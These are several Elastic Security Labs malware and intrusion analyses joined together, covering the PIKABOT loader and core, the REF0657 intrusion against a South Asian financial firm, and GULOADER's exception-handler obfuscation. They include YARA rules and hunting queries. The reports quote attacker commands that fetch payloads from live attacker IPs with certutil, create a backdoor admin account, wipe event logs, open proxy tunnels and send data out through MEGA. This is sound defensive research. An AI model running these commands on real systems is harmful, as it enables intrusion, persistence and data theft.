The malware then consolidates bytes of the PIKABOT core that are scattered in the .data section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.

It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.

After consolidating the decrypted bytes, it uses the RtlDecompressBuffer API to decompress them.

The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the ZwAllocateVirtualMemory syscall to house the PIKABOT core's PE file.

Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the ZwWriteVirtualMemory syscall. It then redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API to change the thread's execution address. Finally, it resumes the thread with ZwResumeThread syscall.

PIKABOT core

The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection.

The notable differences include:

• New style of obfuscation with fewer in-line functions
• Multiple implementations for decrypting strings
• Plaintext configuration at runtime, removal of JSON format
• Network communication uses RC4 plus byte swapping, removal of AES

Obfuscation

One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.

Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion.

String Decryption

As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.

Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.

In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using netapi32.dll:

Anti-debugging

In terms of anti-debugging in this version, PIKABOT checks the BeingDebuggedFlag in the PEB along with using CheckRemoteDebuggerPresent. In our sample, a hardcoded value (0x2500) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.

Execution

Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using GetUserDefaultLangID. If the LangID is set to Russian (0x419) or Ukranian (0x422), the malware will immediately stop its execution.

After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by RtlRandomEx and then place the key into the config structure to be used later during its network communications.

Initial Collection

The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:

• Retrieves the name of the user associated with the PIKABOT thread
• Retrieves the computer name
• Gets processor information
• Grabs display device information using EnumDisplayDevicesW
• Retrieves domain controller information using DsGetDcNameW
• Collects current usage around physical and virtual memory using GlobalMemoryStatusEx
• Gets the window dimensions using GetWindowRect used to identify sandbox environments
• Retrieves Windows OS product information using RtlGetVersion
• Uses CreateToolhelp32Snapshot to retrieve process information

Config

One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families.

Network

PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro). The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as 1.8.32-beta.

On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (0x10). As mentioned previously, PIKABOT no longer uses AES in its network communications.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

PIKABOT initial check-in request

For each outbound network request, PIKABOT randomly chooses one of the following URI’s:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

List of URI’s used in PIKABOT C2 requests

Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request.

There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (0x18) at offset (0xF) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (0xDA 0x9E).

Bot Functionality

In terms of the core bot functionality, it is similar to previous versions: executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (0x982) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• User Execution: Malicious Link
• Reflective Code Loading
• System Information Discovery
• Process Injection
• Encrypted Channel

Detecting malware

Prevention

• Network Module Loaded from Suspicious Unbacked Memory
• Shellcode Execution from Low Reputation Module
• Suspicious Memory Write to a Remote Process
• Suspicious Remote Memory Allocation
• Process Creation with Unusual Mitigation
• Windows.Trojan.PikaBot

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
• https://x.com/Cryptolaemus1/status/1755655639370514595?s=20

Appendix

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe

In December of 2023, Elastic Security Labs detected a smash-and-grab style intrusion directed at a financial services organization in South Asia. Throughout the breach, a diverse set of open-source tools were employed within the victim's environment, some of which we encountered for the first time. The threat group engaged in different post-compromise activities: from discovery/enumeration to utilizing the victim's internal enterprise software against them and eventually leveraging different tunnelers and side-loading techniques to execute Cobalt Strike. In addition, the adversary used the file hosting service Mega to exfiltrate data from the network.

By disclosing the details of this intrusion set (REF0657) and the various tactics, techniques, and procedures (TTPs), we hope to assist fellow defenders and organizations in recognizing and monitoring this type of activity.

Key takeaways

• REF0657 targeted financial services in South Asia
• This group leveraged a broad range of post-compromise behaviors, including backdoor access using Microsoft SQL Server, dumping credentials, wiping event logs, and exfiltrating data using MEGA CMD
• The activity included an assortment of network tunnelers and proxy tools as well as Cobalt Strike and ties to infrastructure using the C2 framework, Supershell

Campaign analysis

Our team identified the initial enumeration happening in a customer environment on December 17, 2023. While we didn't have visibility around the root cause of the infection, we continued to monitor the environment. Over the next several weeks, we discovered seven different hosts, mainly servers, exhibiting a large swath of activity, including:

• Discovery/enumeration
• Downloading additional tools/components
• Renaming and staging tools in legitimate folder locations in the environment
• Dumping credentials from the registry and adding users to machines
• Modifying the environment to enable lateral movement and persistence
• Executing proxy tunnelers and shellcode to maintain access into the environment
• Compressing and exfiltrating data using cloud services provider Mega
• Wiping event logs on multiple machines

Execution Flow / Timeline

A significant portion of the activity observed by our team came through command-line execution abusing Microsoft SQL Server (sqlservr.exe). While we couldn’t pinpoint the root cause, we have reason to believe the attacker gained access to the environment through this remotely accessible server and then started executing commands and running programs using the MSSQL’s stored procedure (xp_cmdshell). This initial endpoint served as the beachhead of the attack where all activity seemed to originate from here.

Discovery/Enumeration/Staging

The threat actor used several standard Windows utilities for initial discovery and enumeration. The following graphic shows the different commands spawned from the parent process (sqlservr.exe):

Oftentimes, the attacker checked to verify their payloads were running, reviewed network connections on victim machines, and performed directory listings to check on their different files.

After initial access was gained, the actor tried several methods for downloading additional payloads and tooling. The adversary started to use certutil.exe and then moved to bitsadmin.exe, PowerShell’s DownloadFile() method, and eventually back to certutil.exe. These different tools interacted with IP addresses (149.104.23[.]17 and 206.237.3[.]150).

Lateral Movement + Persistence

As the actors moved in the environment, they leveraged remote SMB and WMI to create a local administrator account named "helpdesk" on each machine. In some cases, they set up a randomly named Windows service (qLVAMxSGzP) as a persistence mechanism. This service would execute a temporary batch file with commands to add a local user and insert this user into the local administrator group. After execution, the file would then be deleted.

%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add && \ 
net localgroup administrators helpdesk /add \ 
^> \\127.0.0.1\C$\FOUGTZ 2^>^&1 > %TEMP%\VOruiL.bat & \ 
%COMSPEC% /Q /c %TEMP%\VOruiL.bat & %COMSPEC% /Q /c del %TEMP%\VOruiL.bat

Execution

The adversary moved to Cobalt Strike for C2 and further execution. This time, they used a legitimately signed version of Trend Micro’s Deep Security Monitor (ds_monitor.exe). This was used to load Cobalt Strike by side-loading a malicious DLL (msvcp140.dll). We observed the download of the DLL from a certutil.exe execution, and then we confirmed this behavior via call stack telemetry.

"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3[.]150:443/1.txt \ 
C:\users\public\downloads\msvcp140.dll

The screenshot below shows that the actor placed the TrendMicro application inside a directory labeled McAfee in ProgramData. We can see the malicious DLL being loaded from the same directory by checking the call stack.

Shortly after, Run Key persistence was added to execute (ds_monitor.exe) on system startup.

reg  add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v \ 
TrendMicro /t REG_SZ /d \ 
"C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe" /f /reg:64

An analysis on msvcp140.dll reveals that the threat actor tampered with the DllEntryPoint of the legit Windows DLL by substituting it with modified code sourced from a public repository - this is a custom Cobalt Strike memory evasion loader.

While the original code retrieved the Cobalt Strike beacon from memory, the altered version loads a beacon in base64 format from a file named config.ini that connects to msedge[.]one.

Dumping credentials

One of the main methods observed for gathering credentials was dumping the Security Account Manager (SAM) registry hive on different servers.

Network/Registry/Logging Modifications

The threat actor modified several different configurations and settings to help further increase their access to the environment. One of our first observations of this behavior was enabling RDP (set value to 0) through the registry at the following path (HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections). Then, they disabled the Windows Firewall rules using the command: NetSh Advfirewall set allprofiles state off.

Afterward, they enabled Restricted Admin mode through a registry modification, this allowed the adversary to conduct pass-the-hash style attacks against Remote Desktop Protocol (RDP).

cmd.exe /Q /c REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" \ 
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \ 
/f 1> \\127.0.0.1\C$\Windows\Temp\RExePi 2>&1

In addition to these changes, the attacker also wiped the Windows event logs for System and Security notifications using the Windows Event Utility, wevtutil.exe:

cmd.exe /Q /c wevtutil.exe cl System 1> \ 
\\127.0.0.1\C$\Windows\Temp\ksASGt 2>&1

cmd.exe /Q /c wevtutil.exe cl Security 1> \ 
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2>&1

Tunneling/Proxy Tools

After a day of initial access, the adversary generated several shellcode injection alerts using AppLaunch.exe (a binary that manages and executes applications built with Microsoft's .NET Framework) and outputting the results to a file called 1.txt. The command line argument associated with this alert is as follows: c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 >> 1.txt

After examining the injected code, we identified the shellcode as a Golang binary known as iox, which can be compiled from the following publicly available repository. This tool is designed for port forwarding and proxying with additional features such as traffic encryption. Based on the observed command line, the attacker established a proxy connection to 206.237.0[.]49 on port 12355.

Intended or not, the proxy utility was launched by several different legitimate processes: lsass.exe, vmtoolsd.exe, and mctray.exe. In this case, the threat actor side-loaded a common malicious unsigned DLL (mscoree.dll) located in the C:\programdata\ directory.

The actor employed another proxy known as Rakshasa, downloaded directly from the tool's official GitHub page using the certutil command. It was stored in c:\users\public\downloads\ra.exe, and then executed with the following command: C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80.

This command creates a proxy tunnel to the threat actor infrastructure, connecting to the IP address 149.104.23.176 on port 80. If that wasn’t enough, the actor started to send and retrieve data from the network through ICMP tunneling. For example, when the actor executed the tasklist command, the output was saved to C:\programdata\re.txt, and exfiltrated through ICMP using PowerShell.

Exfiltration

One of the more noteworthy parts of this intrusion was centered around the adversary downloading MEGA Cmd, a command-line utility that works with the Mega file hosting service. While still leveraging MSSQL, they downloaded this program, renaming it to ms_edge.exe.

"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3.150:443/megacmd.exe \ 
C:\users\public\downloads\ms_edge.exe

Shortly after, we observed this utility being executed with an argument to a configuration file (called tmp) and a compressed file stored with a backup extension (.bak) being used in conjunction with Mega.

C:\users\public\downloads\ms_edge.exe  --config \ 
C:\users\public\downloads\tmp copy \ 
REDACTED_FILENAME.bak mega_temp:

Infrastructure

Throughout this investigation, the threat group used several servers to host their payloads or forward network traffic. The Elastic Security Labs team discovered two web servers with open directories hosting files publicly reachable on:

• 206.237.3[.]150
• 206.237.0[.]49

In addition, our team observed Supershell panel, a Chinese-based C2 platform running on 206.237.[0].49:8888.

We validated an earlier finding in the previous section when we found a configuration file (referred to as tmp in the Exfiltration section) used for automation with the Mega platform containing credentials used by the adversary. As well, there was a variety of web shell files and scripts originating from the following public repositories:

• https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment
• https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx
• https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx

Furthermore, within these directories, we identified a few interesting binaries:

cloud_init

One of the files (cloud_init) is a Golang ELF binary packed with UPX. After inspection, it was determined that it was compiled from the NPS repository, another intranet proxy server compatible with most common protocols. The threat actor altered the code to encrypt the strings during compilation. The decryption process uses separate byte arrays where the bytes of one array are combined with the bytes of the other array, employing operations such as addition, XOR, or subtraction for the decryption.

MSASN1.dll

After review, this DLL matched the same functionality/code as the previously discussed file (msvcp140.dll).

REF0657 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. The adversary’s tactical goal is the reason for performing an action. The tactics observed in REF0657 were:

• Lateral Movement
• Persistence
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action. Elastic Security Labs observed the following techniques within REF0657:

• Command and Scripting Interpreter: Windows Command Shell
• System Binary Proxy Execution
• Masquerading
• Deobfuscate/Decode Files or Information
• Windows Management Instrumentation
• Ingress Tool Transfer
• Hijack Execution Flow: DLL Side-Loading

Summary

In summary, this intrusion highlighted some new tooling while re-emphasizing that not all intrusions are dictated by novel malware and techniques. These types of threats demonstrate the real-world challenges most organizations are faced with daily.

The threat group moved very quickly in this environment, where within almost 24 hours, meaningful data to the attacker was extracted from the network. Sharing some of these details can help defenders plug possible holes or gaps in coverage from some of these techniques.

The Diamond Model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Detecting REF0657

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

Detection

• Direct Outbound SMB Connection
• Execution via MSSQL xp_cmdshell Stored Procedure
• Execution via Renamed Signed Binary Proxy
• Potential Remote Credential Access via Registry
• Process Execution from an Unusual Directory
• Suspicious CertUtil Commands
• WMI Incoming Lateral Movement

Prevention

• Ingress Tool Transfer via INET Cache
• Potential Masquerading as Windows Error Manager
• Potential Lateral Movement via SMBExec
• Suspicious Cmd Execution via WMI
• RunDLL32 with Unusual Arguments
• Suspicious PowerShell Execution

Hunting queries in Elastic

Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

ES|QL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below ES|QL queries to hunt for similar behaviors:

FROM logs-*
  WHERE process.parent.name == "sqlservr.exe" 
  AND process.name == "cmd.exe" 
  AND process.command_line 
  RLIKE ".*certutil.*"

FROM logs-*
  WHERE process.name == "ms_edge.exe" 
  AND process.code_signature.exists == false 
  AND NOT process.executable 
  RLIKE ".*Program Files.*"

YARA

Elastic Security has created the following YARA rules to identify this activity:

• Windows.Trojan.CobaltStrike
• Windows.Hacktool.SleepObfLoader
• Multi.Hacktool.Nps
• Multi.Hacktool.Rakshasa
• Windows.Hacktool.Iox

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Elastic Security Labs continues to monitor active threats such as GULOADER, also known as CloudEyE – an evasive shellcode downloader that has been highly active for years while under constant development. One of these recent changes is the addition of exceptions to its Vectored Exception Handler (VEH) in a fresh campaign, adding more complexity to its already long list of anti-analysis tricks.

While GULOADER’s core functionality hasn’t changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GULOADER a time-consuming and resource-intensive process. In this post, we will touch on the following topics when triaging GULOADER:

• Reviewing the initial shellcode and unpacking process
• Finding the entrypoint of the decrypted shellcode
• Discuss update to GULOADER’s VEH that obfuscates control flow
• Provide a methodology to patch out VEH

Initial Shellcode

In our sample, GULOADER comes pre-packaged inside an NSIS (Nullsoft Scriptable Install System) installer. When the installer is extracted, the main components are:

• NSIS Script - This script file outlines all the various configuration and installation aspects.

• System.dll - Located under the $PLUGINSDir. This file is dropped in a temporary folder to allocate/execute the GULOADER shellcode.

• Shellcode - The encrypted shellcode is buried into a nested folder.

One quick methodology to pinpoint the file hosting the shellcode can be done by monitoring ReadFile events from SysInternal’s Process Monitor after executing GULOADER. In this case, we can see that the shellcode is read in from a file (Fibroms.Hag).

GULOADER executes shellcode through callbacks using different Windows API functions. The main reasoning behind this is to avoid detections centered around traditional Windows APIs used for process injection, such as CreateRemoteThread or WriteProcessMemory. We have observed EnumResourceTypesA and CallWindowProcW used by GULOADER.

By reviewing the MSDN documentation for EnumResourceTypesA, we can see the second parameter expects a pointer to the callback function. From the screenshot above, we can see that the newly allocated shellcode is placed into this argument.

Finding Main Shellcode Entrypoint

In recent samples, GULOADER has increased the complexity at the start of the initial shellcode by including many different junk instructions and jumps. Reverse engineering of the downloader can require dealing with a long process of unwinding code obfuscation designed to break disassembly and control flow in some tooling, making it frustrating to find the actual start of the core GULOADER shellcode.

One methodology for finding the initial call can be leveraging graph view inside x64dbg and using a bottom-to-top approach to look for the call eax instruction.

Another technique to trace the initial control flow involves leveraging the reversing engineering framework Miasm. Below is a quick example where we can pass in the shellcode and disassemble the instructions to follow the flow:

from miasm.core.locationdb import LocationDB
from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine

with open("proctoring_06BF0000.bin", "rb") as f:
    code = f.read()

loc_db = LocationDB()
c = Container.from_string(code, loc_db)

machine = Machine('x86_32')
mdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)
mdis.follow_call = True 
mdis.dontdis_retcall = True
asm_cfg = mdis.dis_multiblock(offset=0x1400)

Miasm cuts through the 142 jmp instructions and navigates through the junk instructions where we have configured it to stop on the call instruction to EAX (address: 0x3bde).

JMP        loc_3afd
->	c_to:loc_3afd 
loc_3afd
MOV        EBX, EAX
FADDP      ST(3), ST
PANDN      XMM7, XMM2
JMP        loc_3b3e
->	c_to:loc_3b3e 
loc_3b3e
SHL        CL, 0x0
PSRAW      MM1, MM0
PSRLD      XMM1, 0xF1
JMP        loc_3b97
->	c_to:loc_3b97 
loc_3b97
CMP        DL, 0x3A
PADDW      XMM3, XMM5
PXOR       MM3, MM3
JMP        loc_3bde
->	c_to:loc_3bde 
loc_3bde
CALL       EAX

Tail end of Miasm

GULOADER’s VEH Update

One of GULOADER’s hallmark techniques is centered around its Vectored Exception Handling (VEH) capability. This feature gives Windows applications the ability to intercept and handle exceptions before they are routed through the standard exception process. Malware families and software protection applications use this technique to make it challenging for analysts and tooling to follow the malicious code.

GULOADER starts this process by adding the VEH using RtlAddVectoredExceptionHandler. Throughout the execution of the GULOADER shellcode, there is code purposely placed to trigger these different exceptions. When these exceptions are triggered, the VEH will check for hardware breakpoints. If not found, GULOADER will modify the EIP directly through the CONTEXT structure using a one-byte XOR key (changes per sample) with a one-byte offset from where the exception occurred. We will review a specific example of this technique in the subsequent section. Below is the decompilation of our sample’s VEH:

Although this technique is not new, GULOADER continues to add new exceptions over time; we have recently observed these two exceptions added in the last few months:

• EXCEPTION_PRIV_INSTRUCTION
• EXCEPTION_ILLEGAL_INSTRUCTION

As new exceptions get added to GULOADER, it can end up breaking tooling used to expedite the analysis process for researchers.

EXCEPTION_PRIV_INSTRUCTION

Let’s walk through the two recently added exceptions to follow the VEH workflow. The first exception (EXCEPTION_PRIV_INSTRUCTION), occurs when an attempt is made to execute a privileged instruction in a processor’s instruction set at a privilege level where it’s not allowed. Certain instructions, like the example below with WRSMR expect privileges from the kernel level, so when the program is run from user mode, it will trigger the exception due to incorrect permissions.

EXCEPTION_ILLEGAL_INSTRUCTION

This exception is invoked when a program attempts to execute an invalid or undefined CPU instruction. In our sample, when we run into Intel virtualization instructions such as vmclear or vmxon, this will trigger an exception.

Once an exception occurs, the GULOADER VEH code will first determine which exception code was responsible for the exception. In our sample, if the exception matches any of the five below, the code will take the same path regardless.

• EXCEPTION_ACCESS_VIOLATION
• EXCEPTION_ILLEGAL_INSTRUCTION
• EXCEPTION_PRIV_INSTRUCTION
• EXCEPTION_SINGLE_STEP
• EXCEPTION_BREAKPOINT

GULOADER will then check for any hardware breakpoints by walking the CONTEXT record found inside the EXCEPTION_POINTERS structure. If hardware breakpoints are found in the different debug registers, GULOADER will return a 0 into the CONTEXT record, which will end up causing the shellcode to crash.

If there are no hardware breakpoints, GULOADER will retrieve a single byte which is 7 bytes away from the address that caused the exception. When using the last example with vmclear, it would retrieve byte (0x8A).

Then, using that byte, it will perform an XOR operation with a different hard-coded byte. In our case (0xB8), this is unique per sample. Now, with a derived offset 0x32 (0xB8 ^ 0x8A), GULOADER will modify the EIP address directly from the CONTEXT record by adding 0x32 to the previous address (0x7697630) that caused the exception resulting in the next code to execute from address (0x7697662).

With different junk instructions in between, and repeatedly hitting exceptions (we counted 229 unique exceptions in our sample), it’s not hard to see why this can break different tooling and increase analyst time.

Control Flow Cleaning

To make following the control flow easier, an analyst can bypass the VEH by tracing the execution, logging the exceptions, and patching the shellcode using the previously discussed EIP modification algorithm. For this procedure, we leveraged TinyTracer, a tool written by @hasherezade that leverages Pin, a dynamic binary instrumentation framework. This will allow us to catch the different addresses that triggered the exception, so using the example above with vmclear, we can see the address was 0x7697630, generated an exception calling KiUserExceptionDispatcher, a function responsible for handling user-mode exceptions.

Once all the exceptions are collected and filtered, these can be passed into an IDAPython script where we walk through each address, calculate the offset using the 7th byte over and XOR key (0xB8), then patch out all the instructions generating exceptions with short jumps.

The following image is an example of patching instructions that trigger exceptions at addresses 0x07697630 and 0x0769766C.

Below is a graphic representing the control flow graph before the patching is applied globally. Our basic block with the vmclear instruction is highlighted in orange. By implementing the VEH, GULOADER flattens the control flow graph, making it harder to trace the program logic.

After patching the VEH with jmp instructions, this transforms the basic blocks by connecting them together, reducing the complexity behind the flow of the shellcode.

Using this technique can accelerate the cleaning process, yet it’s important to note that it isn’t a bulletproof method. In this instance, there still ends up being a good amount of code/functionality that will still need to be analyzed, but this definitely goes a long way in simplifying the code by removing the VEH. The full POC script is located here.

Conclusion

GULOADER has many different features that can break disassembly, hinder control flow, and make analysis difficult for researchers. Despite this and the process being imperfect, we can counter these traits through different static or dynamic processes to help reduce the analysis time. For example, we observed that with new exceptions in the VEH, we can still trace through them and patch the shellcode. This process will set the analyst on the right path, closer to accessing the core functionality with GULOADER.

By sharing some of our workflow, we hope to provide multiple takeaways if you encounter GULOADER in the wild. Based on GULOADER’s changes, it's highly likely that future behaviors will require new and different strategies. For detecting GULOADER, the following section includes YARA rules, and the IDAPython script from this post can be found here. For new updates on the latest threat research, check out our malware analysis section by the Elastic Security Labs team.

YARA

Elastic Security has created different YARA rules to identify this activity. Below is an example of one YARA rule to identify GULOADER.

rule Windows_Trojan_Guloader {
    meta:
        author = "Elastic Security"
        creation_date = "2023-10-30"
        last_modified = "2023-11-02"   
        reference_sample = "6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99"
        severity = 100
        arch = "x86"
        threat_name = "Windows.Trojan.Guloader"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }
        $check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }
        $parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }
        $hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }
